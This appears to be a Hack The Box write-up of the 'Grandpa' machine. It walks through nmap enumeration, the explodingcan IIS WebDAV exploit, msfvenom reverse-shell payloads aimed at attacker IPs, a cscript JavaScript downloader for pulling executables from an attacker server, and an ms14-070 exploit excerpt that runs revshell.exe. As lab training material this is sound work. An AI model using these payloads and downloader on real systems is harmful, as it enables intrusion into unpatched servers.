Grandpa

This box is rated easy on HTB, but I decided to give myself a challenge and do this box OSCP style: no metasploit, no meterpreter, etc.

Enumeration

Nmap

```
nmap -A grandpa.htb
```

A very promising lead is that the server is running Server 2003, which has been EOL for some time. It also looks like a very old version of IIS is running on port 80. WebDav is also enabled.

I would normally do more enumeration from here, but I already know that the exploit ‘explodingcan’ from the shadowbroker’s dump works specifically for this this version of the server.

Getting User

I’m using danigargu’s version of the exploit.

If we look at the exploit, the author mentions that we need to generate our own shellcode for code execution. Fortunately, danigargu has an example msfvenom command that we can use.

```
msfvenom -p windows/meterpreter/reverse_tcp -f raw -v sc -e x86/alpha_mixed
LHOST=172.16.20.1 LPORT=4444 > shellcode
```

Since I’m avoiding any use of meterpreter, I opt to use the stageless windows shell payload.

```
msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.2 lport=4444 -f raw -v sc -e
x86/alpha_mixed > shellcode
```

The reason that I’m choosing to use the stageless payload is so I don’t have to rely on `multi/handler` to capture my shells. I’m just using netcat to catch my reverse shells.

Now let’s run the exploit:

Looks like we’re on the box as `NT Authority\Network Service`, which is actually a low privileged user, despite being part of `NT Authority`. We don’t Grandpa’s user.txt at `c:\users\grandpa\Desktop\user.txt`, so it’s onto privesc from here.

Getting Root

Because this is such an old box, there’s bound to be some kind of kernel exploit against server 2003.

But before we do any kind of exploitation, we need a way to get files onto the box. On older versions of windows like this one, there is no powershell, no curl, no wget. After some searching around, I stumbled across a method using cscript to execute a javascript downloader.

```
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
```

```
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile("out.bin");
```

Where `out.bin` is changed to the name of the executable we want to download.

I build it into `%TMP%` by echoing the script line by line. Not the prettiest solution, but it works.

To download a file over http, we simply run `cscript.exe http://10.10.14.2/filename`.

Getting back to privesc, the exploit I've chosen to go with is ms14-070, located on exploitdb as `37755.c`.

I always like to do a quick cursory look at the contents of the exploit so I get somewhat of an idea of what payload gets executed.

~~~
BOOL WINAPI CreateNewCmdProcess (STARTUPINFO *startupInformation, PROCESS_INFORMATION
*processInformation)
{
        ZeroMemory (&startupInformation[0], sizeof (STARTUPINFO));
                startupInformation->cb = sizeof (STARTUPINFO);
                        ZeroMemory (&processInformation[0], sizeof (PROCESS_INFORMATION));

                                // Start the child process.
                                        return CreateProcess (
                                                        NULL,
// No module name (use command line)

"c:\\windows\\system32\\cmd.exe /k c:\\windows\\TEMP\\revshell.exe",   // Start cmd.exe

NULL,                                                           // Process handle not
inheritable

NULL,                                                           // Thread handle not
inheritable

TRUE,                                                           // Set handle inheritance
to TRUE

0,                                                              // No creation flags

NULL,                                                           // Use parent's
environment block

NULL,                                                           // Use parent's starting
directory

&startupInformation[0],                                         // Pointer to STARTUPINFO
structure

&processInformation[0]                                          // Pointer to
PROCESS_INFORMATION structure

);

}

```
~~~